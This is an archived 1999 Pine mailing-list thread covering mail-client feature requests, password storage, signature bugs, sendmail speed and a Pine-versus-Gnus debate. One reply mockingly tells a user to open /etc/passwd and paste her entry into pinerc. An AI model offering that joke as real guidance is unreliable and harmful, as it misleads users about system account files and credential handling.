> many folks appreciate them.

MIME attachments will break most mailing list digests and archiving software
and shouldn't be used on mailing lists.

> I, for one, prefer someone attach a vCard rather than a huge
> signature containing all their contact information.

I prefer that people put all their contact information in 4 lines of 70
characters or less prefixed by '-- ' and a CR/LF

TjL

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From: Nancy McGough <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Request: Insert Msg as Attachment
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When you're composing a message and type ^R, you get this prompt:

File to insert from c:\Home directory:
^G Get Help ^T To Files TAB Complete
^C Cancel ^W InsertMsg

Being able to insert a message using ^W is a great thing, but as far
as I can tell there isn't a way to easily insert a message as an
attachment of type RFC822/Message. My request is that you make this
possible and change this prompt to be something like this:

File to insert from c:\Home directory:
^G Get Help ^T To Files TAB Complete
^C Cancel ^W InsertMsg ^A AttachMsg

I want to be able to do this is because I keep copies of all my
outgoing messages and I've got things set up so attachments aren't
saved in my archives. This way Pine would automatically save whatever
I write and not save the included message, which I've already got in
my archives. This feature would also be useful for receivers of the
attachment because then they could easily save just the attached msg
in the appropriate folder or whatever other things their mailer lets
them do with RFC822/Message attachments.

Thanks,
Nancy

--
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For information about this mailing list, and its archives, see:
http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

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From: Dan Wing <[email protected]>
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Subject: Re: Request: Insert Msg as Attachment
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On Mon, 22 Feb 1999 19:45 -0500, Nancy McGough wrote:

> When you're composing a message and type ^R, you get this prompt:
>
> File to insert from c:\Home directory:
> ^G Get Help ^T To Files TAB Complete
> ^C Cancel ^W InsertMsg
>
> Being able to insert a message using ^W is a great thing, but as far
> as I can tell there isn't a way to easily insert a message as an
> attachment of type RFC822/Message. My request is that you make this
> possible and change this prompt to be something like this:
>
> File to insert from c:\Home directory:
> ^G Get Help ^T To Files TAB Complete
> ^C Cancel ^W InsertMsg ^A AttachMsg
>
> I want to be able to do this is because I keep copies of all my
> outgoing messages and I've got things set up so attachments aren't
> saved in my archives. This way Pine would automatically save whatever
> I write and not save the included message, which I've already got in
> my archives. This feature would also be useful for receivers of the
> attachment because then they could easily save just the attached msg
> in the appropriate folder or whatever other things their mailer lets
> them do with RFC822/Message attachments.

Save your archived mail with a certain filetype, such as ".msg",
and create an entry in your ~/.mime.types file (or whatever its
equivalent is on DOS) to associate files of that type:

message/rfc822 msg

Seemed to work here, although pine's default "Content-Disposition:
attachment" causes the message to not automatically be listed inline with
Netscape V4.03 on WinNT.

It would be nice if pine's mime.types could be extended to indicate a
preference for Content-Disposition of "inline" or "attachment" for
specific MIME types, but it isn't too critical.

-Dan Wing

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From: Dan Wing <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Request: Insert Msg as Attachment
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On pine-info I wrote:

> On Mon, 22 Feb 1999 19:45 -0500, Nancy McGough wrote:
> > When you're composing a message and type ^R, you get this prompt:
> >
> > File to insert from c:\Home directory:
> > ^G Get Help ^T To Files TAB Complete
> > ^C Cancel ^W InsertMsg
> >
> > Being able to insert a message using ^W is a great thing, but as far
> > as I can tell there isn't a way to easily insert a message as an
> > attachment of type RFC822/Message. My request is that you make this
> > possible and change this prompt to be something like this:
> >
> > File to insert from c:\Home directory:
> > ^G Get Help ^T To Files TAB Complete
> > ^C Cancel ^W InsertMsg ^A AttachMsg
> >
> > I want to be able to do this is because I keep copies of all my
> > outgoing messages and I've got things set up so attachments aren't
> > saved in my archives. This way Pine would automatically save whatever
> > I write and not save the included message, which I've already got in
> > my archives. This feature would also be useful for receivers of the
> > attachment because then they could easily save just the attached msg
> > in the appropriate folder or whatever other things their mailer lets
> > them do with RFC822/Message attachments.
>
> Save your archived mail with a certain filetype, such as ".msg",
> and create an entry in your ~/.mime.types file (or whatever its
> equivalent is on DOS) to associate files of that type:
>
> message/rfc822 msg
>
> Seemed to work here, although pine's default "Content-Disposition:
> attachment" causes the message to not automatically be listed inline with
> Netscape V4.03 on WinNT.
>
> It would be nice if pine's mime.types could be extended to indicate a
> preference for Content-Disposition of "inline" or "attachment" for
> specific MIME types, but it isn't too critical.

Hm, I noticed an odd bug with this. For some reason my pine 4.10 on Unix
is marking the attachment with "Content-Transfer-Encoding: base64" but
isn't actually base64-encoding the attachment (the attached .msg file is
actually unencoded).

There must be some code in pine that does something special for
message/rfc822 (and doesn't mime-encode the attachment because it assumes
any mime encoding would have already been done), but pine is doing that
_after_ it decides it is attaching a file and all file attachments
should contain "Content-Transfer-Encoding: base64". Unfortunately I don't
have the time within the next few weeks to delve into this further. I
could use such a feature myself, but have been Bouncing messages to
Netscape's mailer because it currently has better support for including
previous messages as message/rfc822 attachments.

-Dan Wing

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Request: Insert Msg as Attachment
In-Reply-To: Dan Wing's message of "Mon, 22 Feb 1999 18:55:07 -0800 (PST)"
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* Dan Wing <[email protected]> writes:
> On pine-info I wrote:
>> On Mon, 22 Feb 1999 19:45 -0500, Nancy McGough wrote:

>> > File to insert from c:\Home directory: ^G Get Help ^T To Files TAB
>> > Complete ^C Cancel ^W InsertMsg ^A AttachMsg
>>
>> message/rfc822 msg
>
> Hm, I noticed an odd bug with this.

No, you didn't. Yet. Most Windows MUAs will not recognize this type of
attachment, either. Pterodactyl Gnus now supports this feature, and it
really doesn't work very well. To say the least. Plus you don't get a
chance to edit this attachment. The idea as such is probably neat, but I
don't think there's a realistic need for it and the technical
implementation seems to be more than just a little confusing.

Just my DM.02

--
Robin S. Socha <http://socha.net/>

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
In-Reply-To: Nancy McGough's message of "Mon, 22 Feb 1999 17:20:47 -0500 (EST)"
References: <Pine.WNT.4.10.9902221718370.-378015@aleph>
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* Nancy McGough <[email protected]> writes:
> On 23 Feb 1999, Michael Talbot-Wilson <[email protected]> wrote:

>> But there are, of course, other Unix mail clients for X.
> Yes, but are any of them as feature-rich and powerful as Pine?

You've got to be joking. }:-> a) People who want a GUI usually don't want
"feature-rich". b) Pine isn't exactly "powerful". So there. And now for
MUAs:

* Balsa (from the Gnome project <http://www.gnome.org/> looks very promising
and is being very actively developed. Gnome's editor is very, very good
BTW (which really, really cannot be said of pico. YMMV).
* XFmail is very much like Pegasus in that it includes filters, PGP and
the like. It also supports IMAP. IIRC, there are some licencing quirks,
though.
* Basically the same applies to KMail <http://www.kde.org/> (except IMAP
IIRC) plus it comes with KDE, so the look and feel of it are far less
challenging than pine's (for someone looking for a drool-proof MUA).

Now, none of these programs support news (but realistically, pine doesn't
really do that, either), but they are a lot "easier" to use. In the
beginning. Until you find out that mice suck and that you're 10 times
faster using a keyboard.

What else? Ah, yes... Gnus. Ummmm... Well... Yeah. Gnus rocks. If you
want "powerful" and "feature-rich", you want Gnus. OTOH, it runs under
XEmacs, so it's a giant memory hog, slow as hell, a beast to set up and
it probably doesn't look sexy to the uninitiated. But it does make up for
that with a vast variety of features I couldn't live without (which is
why I quit using pine and never really used mutt except at work where I
only have MIX which doen't work will with XEmacs). Basically, though, it
shares pine's great advantage of being OS independent.[1] See the glorious
details at <http://socha.net/Gnus/>. Be sure to bring a T1, though, the
graphics are rediculously huge :-/

Basically, I don't miss pine's GUI under Linux. pine doesn't offer any
real support for a GUI, anyway (like inline MIME) so why bother? There are
enough bloated MUAs out there - pine and mutt are very good programs,
ideal for a quick mail.

Footnotes:
[1] Did I just say OS? Sorry. Make that: it runs under Windos, too.

--
Robin S. Socha

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From: "Iris Mayer" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: store password
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Is it possible to store password in pinerc or anywhere else to avoid typing it in
every time I start pine?
(yes, I know that this is a security problem ...)

Thanks in advance,
Iris Mayer

----------------------------------------------------
Iris Mayer
Computing Center
Mannheim University
D-68131 Mannheim
email: [email protected]
phone: ++49 621 292 3585
fax: ++49 621 292 5220
office: L15,16 (room 922)
--
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From: "Iris Mayer" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: store password
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> On Tue, 23 Feb 1999, Iris Mayer wrote:
>
> > Is it possible to store password in pinerc or anywhere else to avoid
> > typing it in every time I start pine? (yes, I know that this is a
> > security problem ...)
>
> I know it's possible in PC-Pine, but I've not heard of a way on a UNIX
> box. In PC-Pine, you'd create a file in the C:\PINE directory called
> PINE.PWD and put your username on one line, and password on a second line.
> After you log in the next time, it'll encrypt those within the file.
>
works fine with pc-pine3.96 but not with version 4.10 :-(

Iris

----------------------------------------------------
Iris Mayer
Computing Center
Mannheim University
D-68131 Mannheim
email: [email protected]
phone: ++49 621 292 3585
fax: ++49 621 292 5220
office: L15,16 (room 922)

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From: "Robin S. Socha" <[email protected]>
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Subject: Re: store password
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Quoting Iris Mayer ([email protected]):
> Is it possible to store password in pinerc or anywhere else to avoid typing it in
> every time I start pine?

Yes, it is possible to store password in pinerc. You must go: vim
/etc/passwd and look for iris.mayer. Then you c&p this into pinerc. Do
not forget to add "#" before line. Besides which, pine does not
have a password, anyway.

> (yes, I know that this is a security problem ...)

(no, you obviously don't know that this is a security problem)

> Thanks in advance,

My pleasure. Would you now kindly notice that

a) this list is reserved for administrational problems
b) <news:comp.mail.pine> deals with user questions
c) your signature is waaay too long and does not sport sigdashes (dear
list manager, please remove the sigdashes from the automatically
generated tag line, prettyplease?)
--
Robin S. Socha, Bastard
<http://socha.net/>

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From: Shoeless in San Jose <[email protected]>
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Subject: Re: store password
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On Tue, 23 Feb 1999, Iris Mayer wrote:

> > On Tue, 23 Feb 1999, Iris Mayer wrote:
> >
> > > Is it possible to store password in pinerc or anywhere else to avoid
> > > typing it in every time I start pine? (yes, I know that this is a
> > > security problem ...)
> >
> > I know it's possible in PC-Pine, but I've not heard of a way on a UNIX
> > box. In PC-Pine, you'd create a file in the C:\PINE directory called
> > PINE.PWD and put your username on one line, and password on a second line.
> > After you log in the next time, it'll encrypt those within the file.
> >
> works fine with pc-pine3.96 but not with version 4.10 :-(

Hmm..maybe I'll stick with 3.96. 4.x doesn't work on mine without
Win32, which I could never get to work.

Greg

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On Mon, 22 Feb 1999, Nancy McGough wrote:

> On 23 Feb 1999, Michael Talbot-Wilson <[email protected]> wrote:
> > But there are, of course, other Unix mail clients for X.
>
> Yes, but are any of them as feature-rich and powerful as Pine?

Nancy, could you give a list of the features and a description of
the power of Pine in your opinon? You are better able than many of
us to do so, and without a checklist your question is unanswerable.

--Mike

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On Tue, 23 Feb 1999, Robin S. Socha wrote:

> c) your signature is waaay too long and does not sport sigdashes (dear

Some news programs (trn) automatically add sigdashes if you have a
sig so you get two sets if you have them there too. So if you use
such a news reader you will probably delete them from your .sig.
That problem would be solved if Pine, also, conditionally added
sigdashes.

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On Tue, 23 Feb 1999, Iris Mayer wrote:

> > On Tue, 23 Feb 1999, Iris Mayer wrote:
> >
> > > Is it possible to store password in pinerc or anywhere else to avoid
> > > typing it in every time I start pine? (yes, I know that this is a
> > > security problem ...)
> >
> > I know it's possible in PC-Pine, but I've not heard of a way on a UNIX
> > box. In PC-Pine, you'd create a file in the C:\PINE directory called
> > PINE.PWD and put your username on one line, and password on a second line.
> > After you log in the next time, it'll encrypt those within the file.
> >
> works fine with pc-pine3.96 but not with version 4.10 :-(

I beg to differ. I'm using PC-Pine 4.10 and that feature works flawlessly.

--
Art Greenberg
[email protected]

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From: David Dyck <[email protected]>
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Subject: Re: store password
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On Tue, 23 Feb 1999, Iris Mayer wrote:

> Is it possible to store password in pinerc or anywhere else to avoid
> typing it in every time I start pine?

I guess you are referring to the IMAP password, right?
I was going to say that I found that it was stored in the dos
pine, but no in the unix version, but then your next post refers
to differing dos versions so you are not referring to the unix compilations
anyway. For unix, I had a special case where I hacked through the
#ifdefs in the sources (for msdos tests near IMAP passwd stuff) and
enabled it in a special case.

I have since learned (from this list) that there may be other
ways if you administer the unix host that you are trying to get
your IMAP mail from that you can find in the tech notes I believe.

(there I mentioned administer and IMAP in the same sentence, so
I guess I'll post this after all.. :-)

It would be nice for some special occasions to be able to
store a unix IMAP password in a private owner or group only
readable file in unix pine also.

David

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Subject: Re: store password
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On Tue, 23 Feb 1999, Robin S. Socha wrote:

>c) (dear >list manager, please remove the sigdashes from the
>automatically generated tag line, prettyplease?)

Don't be a luser.
Why do you want them removed?

--
Ken Woods
[email protected]

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On Tue, 23 Feb 1999, Robin S. Socha wrote:

> Quoting Ken Woods ([email protected]):
> > Don't be a luser. Why do you want them removed?
>=20
> Because *my* software is capable of stripping them automatically. Given
> that pine now supports automatic insertion of sigdashes, it is safe to
> assume that the people on this list will use sigdashes. Therefore,
> having two sets of them is, like, kinda redundant, n'est-=E7e pas?

This is kind of a moot point, isn't it?
Being as how they aren't there anymore.

bah-bah-bah

--=20
Ken Woods
[email protected]

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From: Roger Sabin <[email protected]>
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Subject: RE: AIX Slow Sendmail
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After we defined localhost in /etc/hosts and set smtp-server to localhost, sending mail is much faster.
Thanks.

Roger Sabin
[email protected]

-----Original Message-----
From: Terry Gray [SMTP:[email protected]]
Sent: Thursday, February 18, 1999 3:30 PM
To: Roger Sabin
Cc: Pine Discussion Forum
Subject: RE: AIX Slow Sendmail

If you set smtp-server to localhost, does that help/hurt?

-teg

On Thu, 18 Feb 1999, Roger Sabin wrote:

> To answer your questions:
>
> AIX 4.3
> Using whatever version of sendmail was shipped
> Pine 4.05
> Downloaded pine-bin.aix4.2, did not build our own copy of Pine
> We do not have /etc/resolv.conf or /etc/netsvc.conf. We are only using
> Pine internally for now.
>
> Any ideas?
>
> Roger Sabin
> [email protected]
>
> -----Original Message-----
> From: Shane Castle [SMTP:[email protected]]
> Sent: Tuesday, February 16, 1999 1:33 PM
> To: Pine Discussion Forum
> Subject: Re: AIX Slow Sendmail
>
> On Tue, 16 Feb 1999, Roger Sabin wrote (without using his enter key):
>
> >I am helping a company setup Pine on an AIX RS6000 box. (Don't know
> >the AIX version, but the box was purchased within the last year.) Pine
> >appears to be sending messages, but it takes a looooong time to process
> >the send. The screen shows "sending 0%" for a very long time. Is this
> >correct? Can it be fixed?
>
> I have no problems at all with pine on ours (AIX 4.1.5, Pine 4.10,
> sendmail 8.9.2, RS6000 7015-R50). You will have to answer these
> questions:
>
> What release of AIX?
> Is the sendmail the one shipped with AIX or is it locally built?
> If locally built, what release is it?
> What release of Pine?
> Was Pine built correctly? (sometimes a matter of personal preference)
>
> The answer might lie in none of the above. Improper DNS configurations
> have been known to cause slow MUA communications with sendmail. Check the
> /etc/resolv.conf and if there is an /etc/netsvc.conf. Do they have the
> correct information in them?
>
>

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From: "Robin S. Socha" <[email protected]>
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Subject: Re: store password
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Quoting Ken Woods ([email protected]):
> On Tue, 23 Feb 1999, Robin S. Socha wrote:
>
> >c) (dear >list manager, please remove the sigdashes from the
> >automatically generated tag line, prettyplease?)
>
> Don't be a luser. Why do you want them removed?

Because *my* software is capable of stripping them automatically. Given
that pine now supports automatic insertion of sigdashes, it is safe to
assume that the people on this list will use sigdashes. Therefore,
having two sets of them is, like, kinda redundant, n'est-�e pas?

--
Robin S. Socha
<http://socha.net/>

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From: Nancy McGough <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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On 23 Feb 1999, Michael Talbot-Wilson <[email protected]> wrote:
> Nancy, could you give a list of the features and a description of
> the power of Pine in your opinon?

I have some listed at:

http://www.ii.com/internet/messaging/pine/

After reading what I've got listed at the above URL, I think the best
way to get a sense of the power and flexibility of Pine is to go to
the Main>Setup>Config screen (especially in v4.10) and read the help
on each of the features and variables listed there. If you have
suggestions for Pine "key features" that I should add to my list,
please let me know.

And if there are key features that you think Pine is lacking, please
let me know those too. To me, a key feature that Pine doesn't have is
that it doesn't do true threading and it can't collapse/expand
threads. I have lots of minor wishes, like the one I posted yesterday
about being able to easily forward a message as an attachment (i.e.,
without first saving/exporting it). But I'm confident (or at least
hopeful) that the Pine developers will eventually get that kind of
feature in there.

If I knew I'd never have to do mail/news in a character (rather than
graphical) environment again, I'd seriously consider changing to
another feature-rich, customizable, standards-based (IMAP, MIME, LDAP,
etc.), open source mailer/newsreader that took advantage of the
graphical abilities of the system but without slowing me down.
Unfortunately, for the near future, I'll probably still be doing a lot
of telnetting to Unix boxes and so I'm sticking with Pine, which works
in both character and graphical environments.

I think the main reason that I'm so enthusiastic about Pine is that
I'm able to get all the Unix-like power and flexibility on MS Windows.
The day that Adobe ships a Linux version of FrameMaker, I think I'll
never have to use MS Windows again and the world of powerful
customizable mailers and newsreaders will really open up for me. And
I'll still probably think of Pine as being a serious contender
(assuming it keeps evolving).

--
�Nancy McGough http://www.ii.com Infinite Ink
--= Sent via PINE: Power Internet News & Email for Win/Unix =--

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Earlier I mentioned a problem with roles, but I've figured it out and
thought I'd let folks know since no-one answered.

I was putting the search string in more than one place in the role
(putting topher in both the to: field and the cc: field) thinking it would
look for either-or. It wasn't it was requiring that *both* be there, and
therefore never working.

So what I did is make one role that looked in the to: field and did some
actions, and then one that looked in the cc: field and told it to use the
actions from the first one and it works fine.

For the developers, it would be nice if the search strings were either-or,
rather than requiring both, so that we could have one role that searched
the entire header for a certain string.

Topher
Tech Support
[email protected]
Gospel Communications Network

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
In-Reply-To: Nancy McGough's message of "Tue, 23 Feb 1999 13:20:31 -0500 (EST)"
References: <Pine.WNT.4.10.9902231201210.-434361@aleph>
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* Nancy McGough <[email protected]> writes:
> On 23 Feb 1999, Michael Talbot-Wilson started questing for power:

>> Nancy, could you give a list of the features and a description of the
>> power of Pine in your opinon?

> I have some listed at: <http://www.ii.com/internet/messaging/pine/> If
> you have suggestions for Pine "key features" that I should add to my
> list, please let me know.

Timothy will probably kill me for Yet Another Offtopic Mail, but, hey!, we
used to do this stuff in the Ole Days, too, so here goes...

--==| Pine vs. Gnus |==--

* use its simple clean interface to quickly process lots of messages using
efficient keystroke commands.

Context sensitive keystrokes and mouse menues depending on which buffer
you're in (group, summary, article...)

= Point Gnus

* use standard windows features like clicking, double-clicking,
drop-down menus, pop-up menus, and dialog boxes in the graphical
versions of Pine

Consistent interface under all OSes.

= Point Gnus

* access different mailbox formats, including mbox ("Berkeley mail" format),
Tenex, MTX, MH, MMDF, Carmel, and Netnews formats

All those and more. Also, support for SOUP, virtual and kibozed groups
(mixing mail and news).

= Point Gnus

* store your folders and address books on servers and seamlessly access them
from any of your machines without worrying about your systems getting out
of sync (this is one of the beauties of IMAP)

IMAP support in Pine is second to none. Gnus does have IMAP support, but
it's still under development.

= Point Pine

* easily launch a URL that's in a message in your favorite browser

Yup, but different browsers are just one keystroke away. Also, Emacs sports
a built-in browser (W3).

= Point Gnus

* use the same user interface for news and mail, and you can
simultaneously mail and post a message

News support in pine *sucks*. AFAICS, it doesn't support anything worthwhile
(spoiler chars, supersedes, cancels). Courtesy copies are *extremely* annoying
and IIRC, pine doesn't even mark them as such. As for Gnus, I wouldn't even
know where to start. It's the most feature-ridden newsreader there is.

= Point Gnus

* perform operations on groups of messages using Pine's aggregate
command (;)

.. which doesn't support regexps.

= Point Gnus

* flag messages as new, answered, deleted, or important

.. and mark their respective folders, including mail notification et al
like this:
* 4: nnml+robin:Pine-ML Last read on 23/02/99
^ ^ ^^^^^^^^^^ ^^^^^^^
1 2 3 4
1: ticked articles in group
2: how many articles
3: backend (here: local mail backend)
4: name of group (arbitrary)

= Point Gnus

* create macros using Pine's ``-I'' (initial keystrokes)
command-line argument

No comment. We all know what Emacs stands for.

= Point Gnus

* plug in your favorite editor, encryption programs, and other programs
that help you process your messages

Speaking of encryption: it's a political thing, so pine will not have PGP
support, but can you tell me how you will get PGP 6.0i to work under Windos?

= Point Gnus

* pipe a message, or group of messages, through an external program

Under Windos? Nope.

= Point Gnus

* search through a message, group of messages, or group of folders

I must be doing something horribly wrong here, but it just doesn't work for
me the way I want it. I do, however, have a neat little plug-in that uses
igrep. And a cute GUI for the searches. Including regexps.

= Point Gnus

* filter your messages as they arrive by using an external program
(such as procmail) on your IMAP server.

Well, that's kindalike nothing to do with pine, does it? Apart from the
procmail stuff, Gnus offers some very neat "fancy splitting", though.

= Point Gnus

* use roles to easily switch personas (available in Pine 4.10 and
later)

Yup. Finally.

= No Point

--==| Gnus 12 : Pine 1 |==--

> And if there are key features that you think Pine is lacking, please let
> me know those too. To me, a key feature that Pine doesn't have is that it
> doesn't do true threading and it can't collapse/expand threads.

Oh dear, where to start...

* scoring and killfiling with a keystroke;
one could use procmail, but C-k k is simpler.

* automatically cutting signatures in replies

* colour; check Sven's mutt setup and you'll see what I mean. Neat.

* a more consistent UI. "e", "q", "C-c" - nope.

* more stuff to customize using an easy language - if I don't find a
solution, I'll write one in Lisp. Simple.

And so on... But then again, I'm comparing a 80MB Lisp engine to an
excellent stand-alone MUA with a sucky editor. Not fair.

> If I knew I'd never have to do mail/news in a character (rather than
> graphical) environment again, I'd seriously consider changing to

Gnus. Incidentally, XEmacs runs under Un*x, Windos and a lot of other OSes,
so - well...

> I think the main reason that I'm so enthusiastic about Pine is that I'm
> able to get all the Unix-like power and flexibility on MS Windows.

No you don't. You still don't have the Un*x environment. No bash. No
vim. Nothing. Unless you install all that, too.

Ummm... Yeah. Amen. If you're still reading this, you need to get even more
of a life than me, I guess. That's all folks...

--
Robin S. Socha <http://socha.net/>

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From: Goran UnreaL Krajnovic <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Problems with signature and tokens
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I recently compiled and installed pine 4.10 (UNIX, Solaris 2.6, gcc
compiled) and I am having problems with the new feature of tokens in
signature files.

This:
_ _ ___ ___ ___ ___ ___
unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
http://fly.cc.fer.hr/~unreal/ \___/\|__/\_)\/\___/\_|_/\___/
Feel the Art.

is my original signature, and has been for a long time, and the ascii art
has worked perfectly in older versions of pine.
However, v4.10 thinks that there are tokens inside the signature, and the
ascii ends up looking like this:
_ _ ___ ___ ___ ___ ___
unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
http://fly.cc.fer.hr/~unreal/ ___/\|__/_)\/___/_|_/___/
Feel the Art.

I have searched the help and the mailing list, and there are no references
to this bug (or feature). I haven't managed to find an option to turn off
the token expansion, and experimenting with escaping backslashes yielded
no results.

The only way to get my normal signature back is to first delete it, and
then use the ^R (Read file) command in composer to insert the .signature
file at the end of the mail.

Any help, patches, similar problems or advice would be appreciated.

I have also tried the precompiled solaris version (9 MB executable!) and
it behaves the same way.

PS. If you can't see the ascii art properly in your mailer, set your font
to a non-proportional one, such as Courier, System or Fixed.

--
_ _ ___ ___ ___ ___ ___
unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
http://fly.cc.fer.hr/~unreal/ \___/\|__/\_)\/\___/\_|_/\___/
Feel the Art.

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From: Nicola Lenihan <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: display filters in Pine
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Hello everyone,
I am looking for a way to include two different display filters in the
setup menu.
Is it possible to add the two of them. At the moment I have:
"-----BEGIN PGP MESSAGE-----" /usr/local/bin/decrypt _TMPFILE_
I want to add to this :
"-----BEGIN PGP SIGNATURE-----" /usr/local/bin/decrypt1 _TMPFILE_
Can I just put an || sign between the two of them.
Thanks in advance for an replies.
Nicola Lenihan

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From: Daniel Sands <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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> >> Nancy, could you give a list of the features and a description of the
> >> power of Pine in your opinon?
>
> > I have some listed at: <http://www.ii.com/internet/messaging/pine/> If
> > you have suggestions for Pine "key features" that I should add to my
> > list, please let me know.
>
> Timothy will probably kill me for Yet Another Offtopic Mail, but, hey!, we
> used to do this stuff in the Ole Days, too, so here goes...
>
[Numerous GNUS features]

It is also worth mentioning that Pine is not intended to be a do-all, complete
solution to all your mail needs. As the documentation says, it is intended to
be a lightweight program with an easy-to-use interface and a few advanced
features. It does this very well IMHO.

> Gnus. Incidentally, XEmacs runs under Un*x, Windos and a lot of other OSes,
> so - well...

Uhhh, beg to differ... Windos is not an OPERATING system. :-P

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From: Daniel Sands <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Problems with signature and tokens
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> This:
> _ _ ___ ___ ___ ___ ___
> unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
> http://fly.cc.fer.hr/~unreal/ \___/\|__/\_)\/\___/\_|_/\___/
> Feel the Art.

Does it work to add an extra backslash before each backslash? i.e:
> _ _ ___ ___ ___ ___ ___
> unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
> http://fly.cc.fer.hr/~unreal/ \\___/\\|__/\\_)\\/\\___/\\_|_/\\___/
> Feel the Art.

It looks ugly here, but might solve your problem.

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From: Daniel Sands <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: display filters in Pine
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> Hello everyone,
> I am looking for a way to include two different display filters in the
> setup menu.
> Is it possible to add the two of them. At the moment I have:
> "-----BEGIN PGP MESSAGE-----" /usr/local/bin/decrypt _TMPFILE_
> I want to add to this :
> "-----BEGIN PGP SIGNATURE-----" /usr/local/bin/decrypt1 _TMPFILE_
> Can I just put an || sign between the two of them.

Dunno, but you could probably write a script to handle this and then run the
script on "-----BEGIN PGP ". The script can then look for the appropriate tag
and run decrypt[1] based on that tag.

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Date: Wed, 24 Feb 1999 11:32:51 -0500 (EST)
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From: Nancy McGough <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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On 24 Feb 1999, Daniel Sands <[email protected]> wrote:
> As the documentation says, it is intended to be a lightweight
> program with an easy-to-use interface and a few advanced features.

Please point me to where the Pine documentation says that. I have
honestly thought Pine is powerful, but maybe I'm confused and should
seriously start looking for a better program. Suggestions are welcome.

-Nancy

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From: Daniel Sands <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: UI of Pine on X-Windows vs. MS-Windows?
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> > As the documentation says, it is intended to be a lightweight
> > program with an easy-to-use interface and a few advanced features.
>
> Please point me to where the Pine documentation says that. I have
> honestly thought Pine is powerful, but maybe I'm confused and should
> seriously start looking for a better program. Suggestions are welcome.

>From doc/brochure.txt:

Pine(tm) --a Program for Internet News & Email-- is a tool for reading,
sending, and managing electronic messages. It was designed specifically
with novice computer users in mind, but can be tailored to accommodate the
needs of "power users" as well. Pine uses Internet message protocols
(e.g. RFC-822, SMTP, MIME, IMAP, NNTP) and runs on Unix and PCs.

The guiding principles for Pine's user-interface were: careful limitation
of features, one-character mnemonic commands, always-present command
menus, immediate user feedback, and high tolerance for user mistakes. It
is intended that Pine can be learned by exploration rather than reading
manuals. Feedback from the University of Washington community and many
thousands of Internet sites around the world has been encouraging.

I am not saying that Pine is worthless. Only that it is excellent for basic
purposes and useless for more advanced purposes. That is what the designers
aimed for.

In fact, the early code was based on the Elm mail reader. At the time, Elm
was one of the feature-rich mail programs, but many users found it to be
clunky. Hence the Pine project.

Personally, I prefer Pine. It does everything I need--simple mail reading and
replying.

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From: Goran UnreaL Krajnovic <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Problems with signature and tokens
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On Wed, 24 Feb 1999, Daniel Sands wrote:

> > This:
> > _ _ ___ ___ ___ ___ ___
> > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
> > http://fly.cc.fer.hr/~unreal/ \___/\|__/\_)\/\___/\_|_/\___/
> > Feel the Art.
>
> Does it work to add an extra backslash before each backslash? i.e:
> > _ _ ___ ___ ___ ___ ___
> > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
> > http://fly.cc.fer.hr/~unreal/ \\___/\\|__/\\_)\\/\\___/\\_|_/\\___/
> > Feel the Art.
>
> It looks ugly here, but might solve your problem.

Nope. I too thought of that, but there is no effect. Actually, both

\___/ and \\___/

come out as

___/

and pine doesn't appear to care about escaping backslashes. And anyway, as
far as I have seen from the manuals, all the tokens are of the form _NAME_
and I don't see why pine has to mangle my backslashes. And also notice
that in the previous line of the ascii, everything is just fine, all the
backslashes are in place.

--
_ _ ___ ___ ___ ___ ___
unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
http://fly.cc.fer.hr/~unreal/ ___/\|__/_)\/___/_|_/___/
Feel the Art.

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Date: Wed, 24 Feb 1999 09:54:08 -0800 (Pacific Standard Time)
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From: Terry Gray <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Problems with signature and tokens
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It's a bug. Will be fixed in next release.

-teg

On Wed, 24 Feb 1999, Goran UnreaL Krajnovic wrote:

> On Wed, 24 Feb 1999, Daniel Sands wrote:
>
> > > This:
> > > _ _ ___ ___ ___ ___ ___
> > > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
> > > http://fly.cc.fer.hr/~unreal/ \___/\|__/\_)\/\___/\_|_/\___/
> > > Feel the Art.
> >
> > Does it work to add an extra backslash before each backslash? i.e:
> > > _ _ ___ ___ ___ ___ ___
> > > unreal at fly dot cc dot fer dot hr / Y \/. |\/ __\/ -_)/ - \/ (_
> > > http://fly.cc.fer.hr/~unreal/ \\___/\\|__/\\_)\\/\\___/\\_|_/\\___/
> > > Feel the Art.
> >
> > It looks ugly here, but might solve your problem.
>
> Nope. I too thought of that, but there is no effect. Actually, both
>
> \___/ and \\___/
>
> come out as
>
> ___/
>
> and pine doesn't appear to care about escaping backslashes. And anyway, as
> far as I have seen from the manuals, all the tokens are of the form _NAME_
> and I don't see why pine has to mangle my backslashes. And also notice
> that in the previous line of the ascii, everything is just fine, all the
> backslashes are in place.
>
> --
